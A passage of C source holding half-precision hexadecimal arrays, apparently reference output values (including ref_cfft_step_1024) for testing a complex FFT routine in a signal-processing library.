0x0, 0x0, 0xbb33, 0x3cf3, 0x0, 0x0, 0xbb33, 0x3ce3,
0x0, 0x0, 0xbb33, 0x3cd3, 0x0, 0x0, 0xbb33, 0x3cc3,
0x0, 0x0, 0xbb33, 0x3cb4, 0x0, 0x0, 0xbb33, 0x3ca4,
0x0, 0x0, 0xbb33, 0x3c95, 0x0, 0x0, 0xbb33, 0x3c87,
0x0, 0x0, 0xbb33, 0x3c78, 0x0, 0x0, 0xbb33, 0x3c6a,
0x0, 0x0, 0xbb33, 0x3c5c, 0x0, 0x0, 0xbb33, 0x3c4e,
0x0, 0x0, 0xbb33, 0x3c40, 0x0, 0x0, 0xbb33, 0x3c33,
0x0, 0x0, 0xbb33, 0x3c26, 0x0, 0x0, 0xbb33, 0x3c19,
0x0, 0x0, 0xbb33, 0x3c0c, 0x0, 0x0, 0xbb33, 0x3bfe,
0x0, 0x0, 0xbb33, 0x3be5, 0x0, 0x0, 0xbb33, 0x3bcc,
0x0, 0x0, 0xbb33, 0x3bb4, 0x0, 0x0, 0xbb33, 0x3b9c,
0x0, 0x0, 0xbb33, 0x3b84, 0x0, 0x0, 0xbb33, 0x3b6d,
0x0, 0x0, 0xbb33, 0x3b55, 0x0, 0x0, 0xbb33, 0x3b3f,
0x0, 0x0, 0xbb33, 0x3b28, 0x0, 0x0, 0xbb33, 0x3b12,
0x0, 0x0, 0xbb33, 0x3afc, 0x0, 0x0, 0xbb33, 0x3ae6,
0x0, 0x0, 0xbb33, 0x3ad0, 0x0, 0x0, 0xbb33, 0x3abb,
0x0, 0x0, 0xbb33, 0x3aa6, 0x0, 0x0, 0xbb33, 0x3a91,
0x0, 0x0, 0xbb33, 0x3a7c, 0x0, 0x0, 0xbb33, 0x3a68,
0x0, 0x0, 0xbb33, 0x3a54, 0x0, 0x0, 0xbb33, 0x3a40,
0x0, 0x0, 0xbb33, 0x3a2c, 0x0, 0x0, 0xbb33, 0x3a19,
0x0, 0x0, 0xbb33, 0x3a05, 0x0, 0x0, 0xbb33, 0x39f2,
0x0, 0x0, 0xbb33, 0x39df, 0x0, 0x0, 0xbb33, 0x39cc,
0x0, 0x0, 0xbb33, 0x39ba, 0x0, 0x0, 0xbb33, 0x39a8,
0x0, 0x0, 0xbb33, 0x3995, 0x0, 0x0, 0xbb33, 0x3983,
0x0, 0x0, 0xbb33, 0x3971, 0x0, 0x0, 0xbb33, 0x3960,
0x0, 0x0, 0xbb33, 0x394e, 0x0, 0x0, 0xbb33, 0x393d,
0x0, 0x0, 0xbb33, 0x392c, 0x0, 0x0, 0xbb33, 0x391b,
0x0, 0x0, 0xbb33, 0x390a, 0x0, 0x0, 0xbb33, 0x38f9,
0x0, 0x0, 0xbb33, 0x38e8, 0x0, 0x0, 0xbb33, 0x38d8,
0x0, 0x0, 0xbb33, 0x38c7, 0x0, 0x0, 0xbb33, 0x38b7,
0x0, 0x0, 0xbb33, 0x38a7, 0x0, 0x0, 0xbb33, 0x3897,
0x0, 0x0, 0xbb33, 0x3887, 0x0, 0x0, 0xbb33, 0x3878,
0x0, 0x0, 0xbb33, 0x3868, 0x0, 0x0, 0xbb33, 0x3858,
0x0, 0x0, 0xbb33, 0x3849, 0x0, 0x0, 0xbb33, 0x383a,
0x0, 0x0, 0xbb33, 0x382b, 0x0, 0x0, 0xbb33, 0x381c,
0x0, 0x0, 0xbb33, 0x380d, 0x0, 0x0, 0xbb33, 0x37fc,
0x0, 0x0, 0xbb33, 0x37de, 0x0, 0x0, 0xbb33, 0x37c1,
0x0, 0x0, 0xbb33, 0x37a4, 0x0, 0x0, 0xbb33, 0x3787,
0x0, 0x0, 0xbb33, 0x376a, 0x0, 0x0, 0xbb33, 0x374e,
0x0, 0x0, 0xbb33, 0x3731, 0x0, 0x0, 0xbb33, 0x3715,
0x0, 0x0, 0xbb33, 0x36f9, 0x0, 0x0, 0xbb33, 0x36dd,
0x0, 0x0, 0xbb33, 0x36c2, 0x0, 0x0, 0xbb33, 0x36a6,
0x0, 0x0, 0xbb33, 0x368b, 0x0, 0x0, 0xbb33, 0x3670,
0x0, 0x0, 0xbb33, 0x3655, 0x0, 0x0, 0xbb33, 0x363a,
0x0, 0x0, 0xbb33, 0x361f, 0x0, 0x0, 0xbb33, 0x3604,
0x0, 0x0, 0xbb33, 0x35ea, 0x0, 0x0, 0xbb33, 0x35cf,
0x0, 0x0, 0xbb33, 0x35b5, 0x0, 0x0, 0xbb33, 0x359b,
0x0, 0x0, 0xbb33, 0x3581, 0x0, 0x0, 0xbb33, 0x3567,
0x0, 0x0, 0xbb33, 0x354d, 0x0, 0x0, 0xbb33, 0x3534,
0x0, 0x0, 0xbb33, 0x351a, 0x0, 0x0, 0xbb33, 0x3501,
0x0, 0x0, 0xbb33, 0x34e8, 0x0, 0x0, 0xbb33, 0x34ce,
0x0, 0x0, 0xbb33, 0x34b5, 0x0, 0x0, 0xbb33, 0x349c,
0x0, 0x0, 0xbb33, 0x3483, 0x0, 0x0, 0xbb33, 0x346b,
0x0, 0x0, 0xbb33, 0x3452, 0x0, 0x0, 0xbb33, 0x3439,
0x0, 0x0, 0xbb33, 0x3421, 0x0, 0x0, 0xbb33, 0x3408,
0x0, 0x0, 0xbb33, 0x33e0, 0x0, 0x0, 0xbb33, 0x33af,
0x0, 0x0, 0xbb33, 0x337f, 0x0, 0x0, 0xbb33, 0x334f,
0x0, 0x0, 0xbb33, 0x331f, 0x0, 0x0, 0xbb33, 0x32ef,
0x0, 0x0, 0xbb33, 0x32bf, 0x0, 0x0, 0xbb33, 0x328f,
0x0, 0x0, 0xbb33, 0x3260, 0x0, 0x0, 0xbb33, 0x3230,
0x0, 0x0, 0xbb33, 0x3201, 0x0, 0x0, 0xbb33, 0x31d2,
0x0, 0x0, 0xbb33, 0x31a3, 0x0, 0x0, 0xbb33, 0x3174,
0x0, 0x0, 0xbb33, 0x3145, 0x0, 0x0, 0xbb33, 0x3117,
0x0, 0x0, 0xbb33, 0x30e8, 0x0, 0x0, 0xbb33, 0x30ba,
0x0, 0x0, 0xbb33, 0x308b, 0x0, 0x0, 0xbb33, 0x305d,
0x0, 0x0, 0xbb33, 0x302f, 0x0, 0x0, 0xbb33, 0x3000,
0x0, 0x0, 0xbb33, 0x2fa5, 0x0, 0x0, 0xbb33, 0x2f49,
0x0, 0x0, 0xbb33, 0x2eed, 0x0, 0x0, 0xbb33, 0x2e91,
0x0, 0x0, 0xbb33, 0x2e35, 0x0, 0x0, 0xbb33, 0x2dda,
0x0, 0x0, 0xbb33, 0x2d7f, 0x0, 0x0, 0xbb33, 0x2d23,
0x0, 0x0, 0xbb33, 0x2cc8, 0x0, 0x0, 0xbb33, 0x2c6d,
0x0, 0x0, 0xbb33, 0x2c12, 0x0, 0x0, 0xbb33, 0x2b6f,
0x0, 0x0, 0xbb33, 0x2ab9, 0x0, 0x0, 0xbb33, 0x2a04,
0x0, 0x0, 0xbb33, 0x294e, 0x0, 0x0, 0xbb33, 0x2899,
0x0, 0x0, 0xbb33, 0x27c7, 0x0, 0x0, 0xbb33, 0x265d,
0x0, 0x0, 0xbb33, 0x24f3, 0x0, 0x0, 0xbb33, 0x2312,
0x0, 0x0, 0xbb33, 0x203e, 0x0, 0x0, 0xbb33, 0x19a8,
0x0, 0x0, 0xbb33, 0x99a8, 0x0, 0x0, 0xbb33, 0xa03e,
0x0, 0x0, 0xbb33, 0xa312, 0x0, 0x0, 0xbb33, 0xa4f3,
0x0, 0x0, 0xbb33, 0xa65d, 0x0, 0x0, 0xbb33, 0xa7c7,
0x0, 0x0, 0xbb33, 0xa899, 0x0, 0x0, 0xbb33, 0xa94e,
0x0, 0x0, 0xbb33, 0xaa04, 0x0, 0x0, 0xbb33, 0xaab9,
0x0, 0x0, 0xbb33, 0xab6f, 0x0, 0x0, 0xbb33, 0xac12,
0x0, 0x0, 0xbb33, 0xac6d, 0x0, 0x0, 0xbb33, 0xacc8,
0x0, 0x0, 0xbb33, 0xad23, 0x0, 0x0, 0xbb33, 0xad7f,
0x0, 0x0, 0xbb33, 0xadda, 0x0, 0x0, 0xbb33, 0xae35,
0x0, 0x0, 0xbb33, 0xae91, 0x0, 0x0, 0xbb33, 0xaeed,
0x0, 0x0, 0xbb33, 0xaf49, 0x0, 0x0, 0xbb33, 0xafa5,
0x0, 0x0, 0xbb33, 0xb000, 0x0, 0x0, 0xbb33, 0xb02f,
0x0, 0x0, 0xbb33, 0xb05d, 0x0, 0x0, 0xbb33, 0xb08b,
0x0, 0x0, 0xbb33, 0xb0ba, 0x0, 0x0, 0xbb33, 0xb0e8,
0x0, 0x0, 0xbb33, 0xb117, 0x0, 0x0, 0xbb33, 0xb145,
0x0, 0x0, 0xbb33, 0xb174, 0x0, 0x0, 0xbb33, 0xb1a3,
0x0, 0x0, 0xbb33, 0xb1d2, 0x0, 0x0, 0xbb33, 0xb201,
0x0, 0x0, 0xbb33, 0xb230, 0x0, 0x0, 0xbb33, 0xb260,
0x0, 0x0, 0xbb33, 0xb28f, 0x0, 0x0, 0xbb33, 0xb2bf,
0x0, 0x0, 0xbb33, 0xb2ef, 0x0, 0x0, 0xbb33, 0xb31f,
0x0, 0x0, 0xbb33, 0xb34f, 0x0, 0x0, 0xbb33, 0xb37f,
0x0, 0x0, 0xbb33, 0xb3af, 0x0, 0x0, 0xbb33, 0xb3e0,
0x0, 0x0, 0xbb33, 0xb408, 0x0, 0x0, 0xbb33, 0xb421,
0x0, 0x0, 0xbb33, 0xb439, 0x0, 0x0, 0xbb33, 0xb452,
0x0, 0x0, 0xbb33, 0xb46b, 0x0, 0x0, 0xbb33, 0xb483,
0x0, 0x0, 0xbb33, 0xb49c, 0x0, 0x0, 0xbb33, 0xb4b5,
0x0, 0x0, 0xbb33, 0xb4ce, 0x0, 0x0, 0xbb33, 0xb4e8,
0x0, 0x0, 0xbb33, 0xb501, 0x0, 0x0, 0xbb33, 0xb51a,
0x0, 0x0, 0xbb33, 0xb534, 0x0, 0x0, 0xbb33, 0xb54d,
0x0, 0x0, 0xbb33, 0xb567, 0x0, 0x0, 0xbb33, 0xb581,
0x0, 0x0, 0xbb33, 0xb59b, 0x0, 0x0, 0xbb33, 0xb5b5,
0x0, 0x0, 0xbb33, 0xb5cf, 0x0, 0x0, 0xbb33, 0xb5ea,
0x0, 0x0, 0xbb33, 0xb604, 0x0, 0x0, 0xbb33, 0xb61f,
0x0, 0x0, 0xbb33, 0xb63a, 0x0, 0x0, 0xbb33, 0xb655,
0x0, 0x0, 0xbb33, 0xb670, 0x0, 0x0, 0xbb33, 0xb68b,
0x0, 0x0, 0xbb33, 0xb6a6, 0x0, 0x0, 0xbb33, 0xb6c2,
0x0, 0x0, 0xbb33, 0xb6dd, 0x0, 0x0, 0xbb33, 0xb6f9,
0x0, 0x0, 0xbb33, 0xb715, 0x0, 0x0, 0xbb33, 0xb731,
0x0, 0x0, 0xbb33, 0xb74e, 0x0, 0x0, 0xbb33, 0xb76a,
0x0, 0x0, 0xbb33, 0xb787, 0x0, 0x0, 0xbb33, 0xb7a4,
0x0, 0x0, 0xbb33, 0xb7c1, 0x0, 0x0, 0xbb33, 0xb7de,
0x0, 0x0, 0xbb33, 0xb7fc, 0x0, 0x0, 0xbb33, 0xb80d,
0x0, 0x0, 0xbb33, 0xb81c, 0x0, 0x0, 0xbb33, 0xb82b,
0x0, 0x0, 0xbb33, 0xb83a, 0x0, 0x0, 0xbb33, 0xb849,
0x0, 0x0, 0xbb33, 0xb858, 0x0, 0x0, 0xbb33, 0xb868,
0x0, 0x0, 0xbb33, 0xb878, 0x0, 0x0, 0xbb33, 0xb887,
0x0, 0x0, 0xbb33, 0xb897, 0x0, 0x0, 0xbb33, 0xb8a7,
0x0, 0x0, 0xbb33, 0xb8b7, 0x0, 0x0, 0xbb33, 0xb8c7,
0x0, 0x0, 0xbb33, 0xb8d8, 0x0, 0x0, 0xbb33, 0xb8e8,
0x0, 0x0, 0xbb33, 0xb8f9, 0x0, 0x0, 0xbb33, 0xb90a,
0x0, 0x0, 0xbb33, 0xb91b, 0x0, 0x0, 0xbb33, 0xb92c,
0x0, 0x0, 0xbb33, 0xb93d, 0x0, 0x0, 0xbb33, 0xb94e,
0x0, 0x0, 0xbb33, 0xb960, 0x0, 0x0, 0xbb33, 0xb971,
0x0, 0x0, 0xbb33, 0xb983, 0x0, 0x0, 0xbb33, 0xb995,
0x0, 0x0, 0xbb33, 0xb9a8, 0x0, 0x0, 0xbb33, 0xb9ba,
0x0, 0x0, 0xbb33, 0xb9cc, 0x0, 0x0, 0xbb33, 0xb9df,
0x0, 0x0, 0xbb33, 0xb9f2, 0x0, 0x0, 0xbb33, 0xba05,
0x0, 0x0, 0xbb33, 0xba19, 0x0, 0x0, 0xbb33, 0xba2c,
0x0, 0x0, 0xbb33, 0xba40, 0x0, 0x0, 0xbb33, 0xba54,
0x0, 0x0, 0xbb33, 0xba68, 0x0, 0x0, 0xbb33, 0xba7c,
0x0, 0x0, 0xbb33, 0xba91, 0x0, 0x0, 0xbb33, 0xbaa6,
0x0, 0x0, 0xbb33, 0xbabb, 0x0, 0x0, 0xbb33, 0xbad0,
0x0, 0x0, 0xbb33, 0xbae6, 0x0, 0x0, 0xbb33, 0xbafc,
0x0, 0x0, 0xbb33, 0xbb12, 0x0, 0x0, 0xbb33, 0xbb28,
0x0, 0x0, 0xbb33, 0xbb3f, 0x0, 0x0, 0xbb33, 0xbb55,
0x0, 0x0, 0xbb33, 0xbb6d, 0x0, 0x0, 0xbb33, 0xbb84,
0x0, 0x0, 0xbb33, 0xbb9c, 0x0, 0x0, 0xbb33, 0xbbb4,
0x0, 0x0, 0xbb33, 0xbbcc, 0x0, 0x0, 0xbb33, 0xbbe5,
0x0, 0x0, 0xbb33, 0xbbfe, 0x0, 0x0, 0xbb33, 0xbc0c,
0x0, 0x0, 0xbb33, 0xbc19, 0x0, 0x0, 0xbb33, 0xbc26,
0x0, 0x0, 0xbb33, 0xbc33, 0x0, 0x0, 0xbb33, 0xbc40,
0x0, 0x0, 0xbb33, 0xbc4e, 0x0, 0x0, 0xbb33, 0xbc5c,
0x0, 0x0, 0xbb33, 0xbc6a, 0x0, 0x0, 0xbb33, 0xbc78,
0x0, 0x0, 0xbb33, 0xbc87, 0x0, 0x0, 0xbb33, 0xbc95,
0x0, 0x0, 0xbb33, 0xbca4, 0x0, 0x0, 0xbb33, 0xbcb4,
0x0, 0x0, 0xbb33, 0xbcc3, 0x0, 0x0, 0xbb33, 0xbcd3,
0x0, 0x0, 0xbb33, 0xbce3, 0x0, 0x0, 0xbb33, 0xbcf3,
0x0, 0x0, 0xbb33, 0xbd03, 0x0, 0x0, 0xbb33, 0xbd14,
0x0, 0x0, 0xbb33, 0xbd25, 0x0, 0x0, 0xbb33, 0xbd36,
0x0, 0x0, 0xbb33, 0xbd48, 0x0, 0x0, 0xbb33, 0xbd5a,
0x0, 0x0, 0xbb33, 0xbd6c, 0x0, 0x0, 0xbb33, 0xbd7f,
0x0, 0x0, 0xbb33, 0xbd92, 0x0, 0x0, 0xbb33, 0xbda6,
0x0, 0x0, 0xbb33, 0xbdb9, 0x0, 0x0, 0xbb33, 0xbdcd,
0x0, 0x0, 0xbb33, 0xbde2, 0x0, 0x0, 0xbb33, 0xbdf7,
0x0, 0x0, 0xbb33, 0xbe0c, 0x0, 0x0, 0xbb33, 0xbe22,
0x0, 0x0, 0xbb33, 0xbe38, 0x0, 0x0, 0xbb33, 0xbe4f,
0x0, 0x0, 0xbb33, 0xbe67, 0x0, 0x0, 0xbb33, 0xbe7e,
0x0, 0x0, 0xbb33, 0xbe97, 0x0, 0x0, 0xbb33, 0xbeb0,
0x0, 0x0, 0xbb33, 0xbec9, 0x0, 0x0, 0xbb33, 0xbee3,
0x0, 0x0, 0xbb33, 0xbefe, 0x0, 0x0, 0xbb33, 0xbf19,
0x0, 0x0, 0xbb33, 0xbf35, 0x0, 0x0, 0xbb33, 0xbf52,
0x0, 0x0, 0xbb33, 0xbf6f, 0x0, 0x0, 0xbb33, 0xbf8d,
0x0, 0x0, 0xbb33, 0xbfac, 0x0, 0x0, 0xbb33, 0xbfcc,
0x0, 0x0, 0xbb33, 0xbfec, 0x0, 0x0, 0xbb33, 0xc007,
0x0, 0x0, 0xbb33, 0xc018, 0x0, 0x0, 0xbb33, 0xc02a,
0x0, 0x0, 0xbb33, 0xc03c, 0x0, 0x0, 0xbb33, 0xc04f,
0x0, 0x0, 0xbb33, 0xc062, 0x0, 0x0, 0xbb33, 0xc076,
0x0, 0x0, 0xbb33, 0xc08b, 0x0, 0x0, 0xbb33, 0xc0a0,
0x0, 0x0, 0xbb33, 0xc0b6, 0x0, 0x0, 0xbb33, 0xc0cc,
0x0, 0x0, 0xbb33, 0xc0e3, 0x0, 0x0, 0xbb33, 0xc0fb,
0x0, 0x0, 0xbb33, 0xc114, 0x0, 0x0, 0xbb33, 0xc12e,
0x0, 0x0, 0xbb33, 0xc149, 0x0, 0x0, 0xbb33, 0xc165,
0x0, 0x0, 0xbb33, 0xc181, 0x0, 0x0, 0xbb33, 0xc19f,
0x0, 0x0, 0xbb33, 0xc1be, 0x0, 0x0, 0xbb33, 0xc1de,
0x0, 0x0, 0xbb33, 0xc200, 0x0, 0x0, 0xbb33, 0xc223,
0x0, 0x0, 0xbb33, 0xc247, 0x0, 0x0, 0xbb33, 0xc26d,
0x0, 0x0, 0xbb33, 0xc295, 0x0, 0x0, 0xbb33, 0xc2bf,
0x0, 0x0, 0xbb33, 0xc2ea, 0x0, 0x0, 0xbb33, 0xc318,
0x0, 0x0, 0xbb33, 0xc348, 0x0, 0x0, 0xbb33, 0xc37a,
0x0, 0x0, 0xbb33, 0xc3af, 0x0, 0x0, 0xbb33, 0xc3e7,
0x0, 0x0, 0xbb33, 0xc411, 0x0, 0x0, 0xbb33, 0xc430,
0x0, 0x0, 0xbb33, 0xc451, 0x0, 0x0, 0xbb33, 0xc474,
0x0, 0x0, 0xbb33, 0xc499, 0x0, 0x0, 0xbb33, 0xc4c1,
0x0, 0x0, 0xbb33, 0xc4eb, 0x0, 0x0, 0xbb33, 0xc518,
0x0, 0x0, 0xbb33, 0xc548, 0x0, 0x0, 0xbb33, 0xc57c,
0x0, 0x0, 0xbb33, 0xc5b4, 0x0, 0x0, 0xbb33, 0xc5f1,
0x0, 0x0, 0xbb33, 0xc633, 0x0, 0x0, 0xbb33, 0xc67a,
0x0, 0x0, 0xbb33, 0xc6c8, 0x0, 0x0, 0xbb33, 0xc71e,
0x0, 0x0, 0xbb33, 0xc77c, 0x0, 0x0, 0xbb33, 0xc7e5,
0x0, 0x0, 0xbb33, 0xc82d, 0x0, 0x0, 0xbb33, 0xc86e,
0x0, 0x0, 0xbb33, 0xc8b8, 0x0, 0x0, 0xbb33, 0xc90b,
0x0, 0x0, 0xbb33, 0xc96c, 0x0, 0x0, 0xbb33, 0xc9db,
0x0, 0x0, 0xbb33, 0xca5e, 0x0, 0x0, 0xbb33, 0xcafa,
0x0, 0x0, 0xbb33, 0xcbb6, 0x0, 0x0, 0xbb33, 0xcc4f,
0x0, 0x0, 0xbb33, 0xcce3, 0x0, 0x0, 0xbb33, 0xcda3,
0x0, 0x0, 0xbb33, 0xceaa, 0x0, 0x0, 0xbb33, 0xd013,
0x0, 0x0, 0xbb33, 0xd13d, 0x0, 0x0, 0xbb33, 0xd355,
0x0, 0x0, 0xbb33, 0xd61d, 0x0, 0x0, 0xbb33, 0xdc95
};
static const uint16_t ref_cfft_step_1024[2048] = {
0x5f33, 0x0, 0xbb33, 0x5c95, 0x0, 0x0, 0xbb33, 0x561d,
0x0, 0x0, 0xbb33, 0x5355, 0x0, 0x0, 0xbb33, 0x513d,
0x0, 0x0, 0xbb33, 0x5013, 0x0, 0x0, 0xbb33, 0x4eaa,
0x0, 0x0, 0xbb33, 0x4da3, 0x0, 0x0, 0xbb33, 0x4ce3,
0x0, 0x0, 0xbb33, 0x4c4f, 0x0, 0x0, 0xbb33, 0x4bb6,
0x0, 0x0, 0xbb33, 0x4afa, 0x0, 0x0, 0xbb33, 0x4a5e,
0x0, 0x0, 0xbb33, 0x49db, 0x0, 0x0, 0xbb33, 0x496c,
0x0, 0x0, 0xbb33, 0x490b, 0x0, 0x0, 0xbb33, 0x48b8,
0x0, 0x0, 0xbb33, 0x486e, 0x0, 0x0, 0xbb33, 0x482d,
0x0, 0x0, 0xbb33, 0x47e5, 0x0, 0x0, 0xbb33, 0x477c,
0x0, 0x0, 0xbb33, 0x471e, 0x0, 0x0, 0xbb33, 0x46c8,
0x0, 0x0, 0xbb33, 0x467a, 0x0, 0x0, 0xbb33, 0x4633,
0x0, 0x0, 0xbb33, 0x45f1, 0x0, 0x0, 0xbb33, 0x45b4,
0x0, 0x0, 0xbb33, 0x457c, 0x0, 0x0, 0xbb33, 0x4548,
0x0, 0x0, 0xbb33, 0x4518, 0x0, 0x0, 0xbb33, 0x44eb,
0x0, 0x0, 0xbb33, 0x44c1, 0x0, 0x0, 0xbb33, 0x4499,
0x0, 0x0, 0xbb33, 0x4474, 0x0, 0x0, 0xbb33, 0x4451,
0x0, 0x0, 0xbb33, 0x4430, 0x0, 0x0, 0xbb33, 0x4411,
0x0, 0x0, 0xbb33, 0x43e7, 0x0, 0x0, 0xbb33, 0x43af,
0x0, 0x0, 0xbb33, 0x437a, 0x0, 0x0, 0xbb33, 0x4348,
0x0, 0x0, 0xbb33, 0x4318, 0x0, 0x0, 0xbb33, 0x42ea,
0x0, 0x0, 0xbb33, 0x42bf, 0x0, 0x0, 0xbb33, 0x4295,
0x0, 0x0, 0xbb33, 0x426d, 0x0, 0x0, 0xbb33, 0x4247,
0x0, 0x0, 0xbb33, 0x4223, 0x0, 0x0, 0xbb33, 0x4200,
0x0, 0x0, 0xbb33, 0x41de, 0x0, 0x0, 0xbb33, 0x41be,
0x0, 0x0, 0xbb33, 0x419f, 0x0, 0x0, 0xbb33, 0x4181,
0x0, 0x0, 0xbb33, 0x4165, 0x0, 0x0, 0xbb33, 0x4149,
0x0, 0x0, 0xbb33, 0x412e, 0x0, 0x0, 0xbb33, 0x4114,
0x0, 0x0, 0xbb33, 0x40fb, 0x0, 0x0, 0xbb33, 0x40e3,
0x0, 0x0, 0xbb33, 0x40cc, 0x0, 0x0, 0xbb33, 0x40b6,
0x0, 0x0, 0xbb33, 0x40a0, 0x0, 0x0, 0xbb33, 0x408b,
0x0, 0x0, 0xbb33, 0x4076, 0x0, 0x0, 0xbb33, 0x4062,
0x0, 0x0, 0xbb33, 0x404f, 0x0, 0x0, 0xbb33, 0x403c,
0x0, 0x0, 0xbb33, 0x402a, 0x0, 0x0, 0xbb33, 0x4018,
0x0, 0x0, 0xbb33, 0x4007, 0x0, 0x0, 0xbb33, 0x3fec,
0x0, 0x0, 0xbb33, 0x3fcc, 0x0, 0x0, 0xbb33, 0x3fac,
0x0, 0x0, 0xbb33, 0x3f8d, 0x0, 0x0, 0xbb33, 0x3f6f,
0x0, 0x0, 0xbb33, 0x3f52, 0x0, 0x0, 0xbb33, 0x3f35,
0x0, 0x0, 0xbb33, 0x3f19, 0x0, 0x0, 0xbb33, 0x3efe,
0x0, 0x0, 0xbb33, 0x3ee3, 0x0, 0x0, 0xbb33, 0x3ec9,
0x0, 0x0, 0xbb33, 0x3eb0, 0x0, 0x0, 0xbb33, 0x3e97,
0x0, 0x0, 0xbb33, 0x3e7e, 0x0, 0x0, 0xbb33, 0x3e67,
0x0, 0x0, 0xbb33, 0x3e4f, 0x0, 0x0, 0xbb33, 0x3e38,
0x0, 0x0, 0xbb33, 0x3e22, 0x0, 0x0, 0xbb33, 0x3e0c,
0x0, 0x0, 0xbb33, 0x3df7, 0x0, 0x0, 0xbb33, 0x3de2,
0x0, 0x0, 0xbb33, 0x3dcd, 0x0, 0x0, 0xbb33, 0x3db9,
0x0, 0x0, 0xbb33, 0x3da6, 0x0, 0x0, 0xbb33, 0x3d92,
0x0, 0x0, 0xbb33, 0x3d7f, 0x0, 0x0, 0xbb33, 0x3d6c,
0x0, 0x0, 0xbb33, 0x3d5a, 0x0, 0x0, 0xbb33, 0x3d48,
0x0, 0x0, 0xbb33, 0x3d36, 0x0, 0x0, 0xbb33, 0x3d25,
0x0, 0x0, 0xbb33, 0x3d14, 0x0, 0x0, 0xbb33, 0x3d03,
0x0, 0x0, 0xbb33, 0x3cf3, 0x0, 0x0, 0xbb33, 0x3ce3,
0x0, 0x0, 0xbb33, 0x3cd3, 0x0, 0x0, 0xbb33, 0x3cc3,
0x0, 0x0, 0xbb33, 0x3cb4, 0x0, 0x0, 0xbb33, 0x3ca4,
0x0, 0x0, 0xbb33, 0x3c95, 0x0, 0x0, 0xbb33, 0x3c87,
0x0, 0x0, 0xbb33, 0x3c78, 0x0, 0x0, 0xbb33, 0x3c6a,
0x0, 0x0, 0xbb33, 0x3c5c, 0x0, 0x0, 0xbb33, 0x3c4e,
0x0, 0x0, 0xbb33, 0x3c40, 0x0, 0x0, 0xbb33, 0x3c33,
0x0, 0x0, 0xbb33, 0x3c26, 0x0, 0x0, 0xbb33, 0x3c19,
0x0, 0x0, 0xbb33, 0x3c0c, 0x0, 0x0, 0xbb33, 0x3bfe,
0x0, 0x0, 0xbb33, 0x3be5, 0x0, 0x0, 0xbb33, 0x3bcc,
0x0, 0x0, 0xbb33, 0x3bb4, 0x0, 0x0, 0xbb33, 0x3b9c,
0x0, 0x0, 0xbb33, 0x3b84, 0x0, 0x0, 0xbb33, 0x3b6d,
0x0, 0x0, 0xbb33, 0x3b55, 0x0, 0x0, 0xbb33, 0x3b3f,
0x0, 0x0, 0xbb33, 0x3b28, 0x0, 0x0, 0xbb33, 0x3b12,
0x0, 0x0, 0xbb33, 0x3afc, 0x0, 0x0, 0xbb33, 0x3ae6,
0x0, 0x0, 0xbb33, 0x3ad0, 0x0, 0x0, 0xbb33, 0x3abb,
0x0, 0x0, 0xbb33, 0x3aa6, 0x0, 0x0, 0xbb33, 0x3a91,
0x0, 0x0, 0xbb33, 0x3a7c, 0x0, 0x0, 0xbb33, 0x3a68,
0x0, 0x0, 0xbb33, 0x3a54, 0x0, 0x0, 0xbb33, 0x3a40,
0x0, 0x0, 0xbb33, 0x3a2c, 0x0, 0x0, 0xbb33, 0x3a19,
0x0, 0x0, 0xbb33, 0x3a05, 0x0, 0x0, 0xbb33, 0x39f2,
0x0, 0x0, 0xbb33, 0x39df, 0x0, 0x0, 0xbb33, 0x39cc,
0x0, 0x0, 0xbb33, 0x39ba, 0x0, 0x0, 0xbb33, 0x39a8,
0x0, 0x0, 0xbb33, 0x3995, 0x0, 0x0, 0xbb33, 0x3983,
0x0, 0x0, 0xbb33, 0x3971, 0x0, 0x0, 0xbb33, 0x3960,
0x0, 0x0, 0xbb33, 0x394e, 0x0, 0x0, 0xbb33, 0x393d,
0x0, 0x0, 0xbb33, 0x392c, 0x0, 0x0, 0xbb33, 0x391b,
0x0, 0x0, 0xbb33, 0x390a, 0x0, 0x0, 0xbb33, 0x38f9,
0x0, 0x0, 0xbb33, 0x38e8, 0x0, 0x0, 0xbb33, 0x38d8,
0x0, 0x0, 0xbb33, 0x38c7, 0x0, 0x0, 0xbb33, 0x38b7,
0x0, 0x0, 0xbb33, 0x38a7, 0x0, 0x0, 0xbb33, 0x3897,
0x0, 0x0, 0xbb33, 0x3887, 0x0, 0x0, 0xbb33, 0x3878,
0x0, 0x0, 0xbb33, 0x3868, 0x0, 0x0, 0xbb33, 0x3858,
0x0, 0x0, 0xbb33, 0x3849, 0x0, 0x0, 0xbb33, 0x383a,
0x0, 0x0, 0xbb33, 0x382b, 0x0, 0x0, 0xbb33, 0x381c,
0x0, 0x0, 0xbb33, 0x380d, 0x0, 0x0, 0xbb33, 0x37fc,
0x0, 0x0, 0xbb33, 0x37de, 0x0, 0x0, 0xbb33, 0x37c1,
0x0, 0x0, 0xbb33, 0x37a4, 0x0, 0x0, 0xbb33, 0x3787,
0x0, 0x0, 0xbb33, 0x376a, 0x0, 0x0, 0xbb33, 0x374e,
0x0, 0x0, 0xbb33, 0x3731, 0x0, 0x0, 0xbb33, 0x3715,
0x0, 0x0, 0xbb33, 0x36f9, 0x0, 0x0, 0xbb33, 0x36dd,
0x0, 0x0, 0xbb33, 0x36c2, 0x0, 0x0, 0xbb33, 0x36a6,
0x0, 0x0, 0xbb33, 0x368b, 0x0, 0x0, 0xbb33, 0x3670,
0x0, 0x0, 0xbb33, 0x3655, 0x0, 0x0, 0xbb33, 0x363a,
0x0, 0x0, 0xbb33, 0x361f, 0x0, 0x0, 0xbb33, 0x3604,
0x0, 0x0, 0xbb33, 0x35ea, 0x0, 0x0, 0xbb33, 0x35cf,
0x0, 0x0, 0xbb33, 0x35b5, 0x0, 0x0, 0xbb33, 0x359b,
0x0, 0x0, 0xbb33, 0x3581, 0x0, 0x0, 0xbb33, 0x3567,
0x0, 0x0, 0xbb33, 0x354d, 0x0, 0x0, 0xbb33, 0x3534,
0x0, 0x0, 0xbb33, 0x351a, 0x0, 0x0, 0xbb33, 0x3501,
0x0, 0x0, 0xbb33, 0x34e8, 0x0, 0x0, 0xbb33, 0x34ce,
0x0, 0x0, 0xbb33, 0x34b5, 0x0, 0x0, 0xbb33, 0x349c,
0x0, 0x0, 0xbb33, 0x3483, 0x0, 0x0, 0xbb33, 0x346b,
0x0, 0x0, 0xbb33, 0x3452, 0x0, 0x0, 0xbb33, 0x3439,
0x0, 0x0, 0xbb33, 0x3421, 0x0, 0x0, 0xbb33, 0x3408,
0x0, 0x0, 0xbb33, 0x33e0, 0x0, 0x0, 0xbb33, 0x33af,
0x0, 0x0, 0xbb33, 0x337f, 0x0, 0x0, 0xbb33, 0x334f,
